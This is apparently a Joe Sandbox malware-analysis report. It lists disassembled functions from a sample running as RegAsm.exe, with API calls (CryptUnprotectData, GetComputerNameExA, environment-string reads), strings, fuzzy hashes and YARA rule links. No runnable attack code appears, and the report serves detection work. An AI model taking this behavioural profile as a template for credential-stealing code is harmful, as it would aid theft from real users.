Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 0d3376c59d9a353f19b7f0a28ceef7d0e3adf9feb9047bbdb25a59f36b714c62
Instruction ID: 507d0aa79f7ae733f0e5f066e599aec8ff4b67e8d83cb10aa92514fe2e160faf
Opcode Fuzzy Hash: 0d3376c59d9a353f19b7f0a28ceef7d0e3adf9feb9047bbdb25a59f36b714c62
Instruction Fuzzy Hash: A7E04F30680208BFEF301F62EC4AF593F55AB10B56F184020FD4DB80E1DBE1D95DAA68

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C0D8 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?), ref: 00D8C13B
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D8C396
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D8C3DE
GetLastError.KERNEL32 ref: 00D8C481

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f47a95019158fc4f6db2fd89d9e76d3b483dede9b54c8d25a9bf0913b9be8c91
Instruction ID: 3c4e3d96d554cd9dd1d3f3cb4f7e935f21a2dbf74083e15bc5cc85f1de3795d0
Opcode Fuzzy Hash: f47a95019158fc4f6db2fd89d9e76d3b483dede9b54c8d25a9bf0913b9be8c91
Instruction Fuzzy Hash: 9DD179B5E10248DFCB15DFE9D890AADBBB5FF08310F18812AE856E7351D730A946CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D979C8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D979D0
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D97A08
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D97A28

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 4e6b78822f682f522f9fbd97120a299153c9f3a3f6e7386ffe286b1d43c50dc0
Instruction ID: c0158dc7b6398cff43274c8b19de49ca3bd93ceb506988b75fbf329cda6906e8
Opcode Fuzzy Hash: 4e6b78822f682f522f9fbd97120a299153c9f3a3f6e7386ffe286b1d43c50dc0
Instruction Fuzzy Hash: FA1126B65192097EBF2167B25C8DCBF696CEF853943140114F50DE1142FA20DF1192B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D8F31D Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?), ref: 00D8F333
GetLastError.KERNEL32(?,?,?,?), ref: 00D8F340
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 00D8F366
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 00D8F38C

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: 06acbfde5d7cf09cbc4f6d5b52ec1bd3f3fa6a0a2e20786dbf177518b2a914cc
Instruction ID: 1545c473b40a7bcd5984ba6add049b1fcd48ccdf7022b416be3b4192bf209e58
Opcode Fuzzy Hash: 06acbfde5d7cf09cbc4f6d5b52ec1bd3f3fa6a0a2e20786dbf177518b2a914cc
Instruction Fuzzy Hash: BD114572801119EFCF20AFA6DC0899E7F69EB04760F144254F824A21A0C732AA51DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00DA654D Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00DA6567
GetLastError.KERNEL32 ref: 00DA6573
___initconout.LIBCMT ref: 00DA6583

Part of subcall function 00DA6601: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DA6588), ref: 00DA6614

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00DA6597

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: fd40269df08a94fcd3c6cf9a9168797efd4d0ab4a44503fa823053d4af160826
Instruction ID: 2e7384a9dbc3fbc4a957b0c3c77e369e4eca3fcc3daccc0bf2997addce111114
Opcode Fuzzy Hash: fd40269df08a94fcd3c6cf9a9168797efd4d0ab4a44503fa823053d4af160826
Instruction Fuzzy Hash: F3F0F83A100501BFCB321BD6ED05D4ABFB7FF89761B194429F66D92530CA32E8659B60

Uniqueness

Uniqueness Score: -1.00%

Function 00DA6669 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00DA6680
GetLastError.KERNEL32 ref: 00DA668C
___initconout.LIBCMT ref: 00DA669C

Part of subcall function 00DA6601: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DA6588), ref: 00DA6614

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 00DA66B1

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 350b5e1316e838705d912a53d2537ae9ac29a79357b1c00ef1a2c15f77eb1145
Instruction ID: 742af9c7927c84d53559d4402d367e4a72257a804947961f097a12b28b0eca85
Opcode Fuzzy Hash: 350b5e1316e838705d912a53d2537ae9ac29a79357b1c00ef1a2c15f77eb1145
Instruction Fuzzy Hash: 02F0AC36541125FFCF321F96DC0599A7F66FB0A3A1B0D4564FA1CA6131CA32D8259BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8ADA6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

InitializeCriticalSectionEx, xrefs: 00D8AE06
GetXStateFeaturesMask, xrefs: 00D8ADB6

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: GetXStateFeaturesMask$InitializeCriticalSectionEx
API String ID: 0-4196971266
Opcode ID: 0aca3a6c75699822c0276ae739c2faf9259eecd86020cbe18b98be496b38b8eb
Instruction ID: b587a3f1ee2ddd68144cf4aa778004a305af0a87fc6151881e3c3350c73e7cf1
Opcode Fuzzy Hash: 0aca3a6c75699822c0276ae739c2faf9259eecd86020cbe18b98be496b38b8eb
Instruction Fuzzy Hash: 11018F32680228BBCB213B96DC06EDEBF15DF50BA1F044412FA1929161D6B2982997F1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 5104, Parent PID: 6732COMMON

Execution Graph

Execution Coverage:	16%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	364
Total number of Limit Nodes:	20

Executed Functions

Function 0042E1F7 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E220
GetSystemMetrics.USER32 ref: 0042E22F
DeleteObject.GDI32 ref: 0042E28C
SelectObject.GDI32 ref: 0042E2DE
SelectObject.GDI32 ref: 0042E35C
DeleteObject.GDI32 ref: 0042E397

Strings

, xrefs: 0042E329

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: 6b7cebe50cf6556630275e5f11e15ad1a39a570c298038abc4e11d1214af084e
Instruction ID: c7ce9ad7c8caa66f18583b1677d8e9add8b1d673c0d8bba032b5b85bb3361068
Opcode Fuzzy Hash: 6b7cebe50cf6556630275e5f11e15ad1a39a570c298038abc4e11d1214af084e
Instruction Fuzzy Hash: A1514EB4505B408FC364EF69D585A1ABBF0BB98300F51992DE89AC7B60D734F849CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00424394 Relevance: 11.1, APIs: 2, Strings: 4, Instructions: 585
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042482D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424918

Strings

EU`~, xrefs: 00424A34
Ym[!, xrefs: 0042447C
a~g, xrefs: 0042492E
bfbV, xrefs: 00424468

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: EU`~$Ym[!$a~g$bfbV
API String ID: 3545744682-3885212843
Opcode ID: 8ffec7a7b111415739fd8b8748d1524646aa4b3f85a27ce00ca1e0f9c04cf9cc
Instruction ID: 69728262e6f982fe4921dbb444f4126da21175e6cce4cd7b8232bab653071d94
Opcode Fuzzy Hash: 8ffec7a7b111415739fd8b8748d1524646aa4b3f85a27ce00ca1e0f9c04cf9cc
Instruction Fuzzy Hash: 58328A70104B928AD726CF35D494BE3BBE1EF57309F8449ADC0FA8B282C7796446CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00424397 Relevance: 11.1, APIs: 2, Strings: 4, Instructions: 573
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042482D

Strings

EU`~, xrefs: 00424A34
Ym[!, xrefs: 0042447C
a~g, xrefs: 0042492E
bfbV, xrefs: 00424468

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: EU`~$Ym[!$a~g$bfbV
API String ID: 3545744682-3885212843
Opcode ID: e87d3c24cc64bf4e230b1be3b278c1c3fe91586f2c780097d2b33b0b51f6c8dd
Instruction ID: d418c24f432c221ca551667d44ec9dcacf06a5660f0ec3c43e5de7a1289bec2a
Opcode Fuzzy Hash: e87d3c24cc64bf4e230b1be3b278c1c3fe91586f2c780097d2b33b0b51f6c8dd
Instruction Fuzzy Hash: A4328970104B928AD726CF34D494BE3BBE1EF57309F8449ADC0FA8B282C7796446CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00423D4E Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042482D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424918

Strings

EU`~, xrefs: 00424A34
|FX8, xrefs: 00424C84
a~g, xrefs: 0042492E

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: EU`~$a~g$|FX8
API String ID: 3545744682-4180061646
Opcode ID: 213cc440ceb128a710669a4332b4bb9f4753775ce399caefbc0ed4659f138e9e
Instruction ID: f8aed6bdad080e1625b4a5ebbf90ed0658a9d14548ebf4ceef77d0f8e075bccd
Opcode Fuzzy Hash: 213cc440ceb128a710669a4332b4bb9f4753775ce399caefbc0ed4659f138e9e
Instruction Fuzzy Hash: 71226B70204B528AD726CF35D494BE3BBE1AF57308F84496DD0FB8B282D779A406CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00438E4E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00438EF2

Strings

0abc, xrefs: 00438EA8

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: 0abc
API String ID: 1279760036-453689197
Opcode ID: 37ffc3c2ed0c3dbd89be3697700adac63ee3700ab6f501dac7975d63c57a81da
Instruction ID: a4d295885b04431afa9f200960333666e57fb59a6a5713e9b621406d6bd23278
Opcode Fuzzy Hash: 37ffc3c2ed0c3dbd89be3697700adac63ee3700ab6f501dac7975d63c57a81da
Instruction Fuzzy Hash: B91116759093409FE710CF14C85475BFBA2EBC9329F14CA5DE8A827285C379D9098BD6

Uniqueness

Uniqueness Score: -1.00%

Function 0041545B Relevance: 1.7, APIs: 1, Instructions: 221encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004156ED

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: b204ec16d20fbd2333b2ed89591df08f601e796a1cc2c6ab9427f15c4b00bdab
Instruction ID: 465bd4e3c27ab89dba1bc488083db8020046fdec95f0cad9567172be99b224cd
Opcode Fuzzy Hash: b204ec16d20fbd2333b2ed89591df08f601e796a1cc2c6ab9427f15c4b00bdab
Instruction Fuzzy Hash: 7C81AF71500B41DFD724CF28C481B96B7E2BF99314F18862ED4AA8BB96D738F855CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00435C40 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043A5D6,005C003F,00000006,00120089,?,00000018,BCBDBEBF,00000000,004143CA), ref: 00435C6D

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: 57f1bbd75be791b51c1c69d73521a326315edc5ecdbfadca72035e30f952b94d
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 64E09275508602AFEA05DF45C14050EF7E2BFC8718F55988DE88473604C6B4AD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 0042B5D0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d428f9f994b389fdfcdecf0dc78a1094c7f8f3f872c03c2e8c1e6cec265956e4
Instruction ID: b73ec05aeef288813a81dd66e2be210cfb8ea783e98e14abfb85c823c1859eab
Opcode Fuzzy Hash: d428f9f994b389fdfcdecf0dc78a1094c7f8f3f872c03c2e8c1e6cec265956e4
Instruction Fuzzy Hash: A8F0F2B4508380CFD320EF28C548B8ABBE1ABC8304F41882DE4898B390DB759464CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00428CED Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 84
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00428E34

Strings

m, xrefs: 00428DA3
:, xrefs: 00428D3B
A, xrefs: 00428D5B
E, xrefs: 00428D4B
S, xrefs: 00428D1B
C, xrefs: 00428D6B
b, xrefs: 00428D8B
T, xrefs: 00428CFB
Q, xrefs: 00428D0B
8, xrefs: 00428D7B
0, xrefs: 00428D2B

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: 0$8$:$A$C$E$Q$S$T$b$m
API String ID: 2525500382-3407828523
Opcode ID: 2e8d8fbebdaa49853eb8224005bbc4316ed0aa64be6604739f13407a5b1233dc
Instruction ID: e95acedcac56ecc68ee65e49bea812364c6230a516d1cc43e77dee9a9291d732
Opcode Fuzzy Hash: 2e8d8fbebdaa49853eb8224005bbc4316ed0aa64be6604739f13407a5b1233dc
Instruction Fuzzy Hash: A041E47050C7C18ED331CF28C49878BBBE1AB96318F044A5DE4D84B296C7B99649CB93

Uniqueness

Uniqueness Score: -1.00%

Function 0041D140 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041D235
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041D260

Strings

1mo, xrefs: 0041D177
je, xrefs: 0041D18B
[[, xrefs: 0041D27E
MM, xrefs: 0041D26E
SK, xrefs: 0041D276

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 1mo$MM$SK$[[$je
API String ID: 237503144-2479076429
Opcode ID: 56f0675bc346d04c7b5b066cf92a33d0e8f4a4a3e6ec12b32402b138b2359614
Instruction ID: 67733dcc05c02254f284543cbc7364a4b4d848214c874a56ba83c08088485b8d
Opcode Fuzzy Hash: 56f0675bc346d04c7b5b066cf92a33d0e8f4a4a3e6ec12b32402b138b2359614
Instruction Fuzzy Hash: E761ABB16083518FD324CF14C8A0BABB7E1EFC6318F554A1DE8EA5B280D7789945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00408E40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00408EAA

Strings

in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified, xrefs: 00408E74

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: in that spellings eleet on play or similarity the internet. primarily is of used glyphs of via or character other the uses reflection ways system their a leetspeak, replacements resemblance it on often modified
API String ID: 621844428-4175449110
Opcode ID: 4661fddd18b9f543c69f4e259dc310f095456cf366bc761fc7612406de73d186
Instruction ID: 5aebdcb81b5fd7ae4ac3d30ec8dc0d41ef40b7d55fd6bbb79e29613ba40b90b8
Opcode Fuzzy Hash: 4661fddd18b9f543c69f4e259dc310f095456cf366bc761fc7612406de73d186
Instruction Fuzzy Hash: 9EF05E7140C210CAC710BB75D70126EBBA06F25328F109A3FE9C2E12D1DF7C8446969F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041DB3E
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041DB6D

Strings

UW, xrefs: 0041DA37

Memory Dump Source

Source File: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: UW
API String ID: 237503144-1530030876
Opcode ID: 51a3cc3d20b066d1da223b3fed3b2c550fa9050727f61ebbff16a5535d242d31
Instruction ID: 1aaf7c69180608864851868e21b4f2f22e8da6d83f24711d91824ffaf0471347
Opcode Fuzzy Hash: 51a3cc3d20b066d1da223b3fed3b2c550fa9050727f61ebbff16a5535d242d31
Instruction Fuzzy Hash: DB514EB1108341AFD314DF00D890B5BBBE5EBC6398F108A1DF9A55B380D774E985CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00433E3C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

